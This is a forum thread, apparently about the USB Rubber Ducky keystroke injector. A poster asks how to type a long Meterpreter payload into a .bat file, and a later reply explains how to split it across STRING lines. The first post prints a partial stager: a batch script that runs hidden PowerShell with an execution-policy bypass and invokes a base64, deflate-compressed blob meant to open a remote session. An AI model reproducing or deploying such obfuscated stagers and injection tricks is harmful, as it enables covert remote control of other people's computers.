bad.crc Posted December 4, 2015 Share Posted December 4, 2015 Trying to type out a .bat that has 1 very long line with no breaks. Based on the injection failing, it seems there is a length limitation for a STRING... This is a meterpreter payload that I have tried break into more than one line, but it will not work if I chop it up. There has to be a way to pull this off, hoping you guys can lend a hand. :) I have tried: Breaking into more than one line in the .bat with "^" Tried breaking into lines at different places 2 questions: Is there a way to get the ducky to keep it all in a single line? Is there post processing I can/should do after typing out these strings? Sample code: @echo off if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtb9tGDP7uX0EIN0BCLEV+WZZYCFDXadpsdZrFadLNMIazRFtXn+6U0ymR4/q/j3I0x/26LzqR4vF5SD4Ue4RzeOe0phdSXmW5NtZ1VmgUyl43SKR0vBnk5VyKGArLLR1YWfoOV8reWAP3wtiSy6GUOnYbn8yHSWKwKNpQCmUheZ6IF2yMxWsspdLqbp2/uW+MthhbL/rfXEYGucW7lI7kjcurPbTWiHlp8YCU5fHqldk+mHzG7tnv3Tfc8AwJa395h0UlXEq+PIx8RbtKqAznXcua9YYl1GFn+H508eHy46er3//4PL7+cvPn7eTu6/3Dt7/+5vM4wcUyFd9XMlM6fzSFLZ+eq/VL2On2+r+e/HZ65gR3epRyMzSGr12vtShVXKND7LInbwMGbUl9cN0psZvOZsCefr4BP2CMvCgN+l/m36nN4E/KzAvoAb9AWHXCEHx8hLOut33LbmHDFjV7J+oEQe/HQlNxcerrXQr6dnQOLJm6S7S+4SrRGfgZr0RGWVkSfEa1tKk320YNP7aIDrIjbCA3OqZWw2bKa6IzVhEcPY6A/bONAFVCFCpiX5AaGlzYuAqf/zNud7heoEgLrrfdHgAsN0CMwWXiPIyYAF9aOOnT29GRt2EpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88D/ZdpwiCbQzn7OnbV4fKnF6jDSZonkSMN5rGMuaKL9HMBoPai2aExoqFoE3Aey5FspPTiEs5J1kS5oZZU+I2YhkZ11RwM7jJurCYBXX6B5yPpEBloxbLgk8kPDRFQPJ1nbJA4xOesk4bnLF+EVLy434QEn+d5QQ2l1TxeHL1AU6CTgQPgvr4XMD1ned4EVMEuoxg+n5tcSeovG5DFlzoZyU1Ty645a6TWpsXg+Pjzlk36JycBmHQCXuD036...etc Quote Link to comment Share on other sites More sharing options...
SirDrone Posted November 18, 2020 Share Posted November 18, 2020 Five years later I noticed the same thing, and given I haven't seen anything done on it and I have the same question, I'm bumping this, hope y'all don't mind Quote Link to comment Share on other sites More sharing options...
SirDrone Posted November 19, 2020 Share Posted November 19, 2020 Solved it in my case, just used multiple STRING lines and contained everything otherwise in bash -c "..." 👍 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.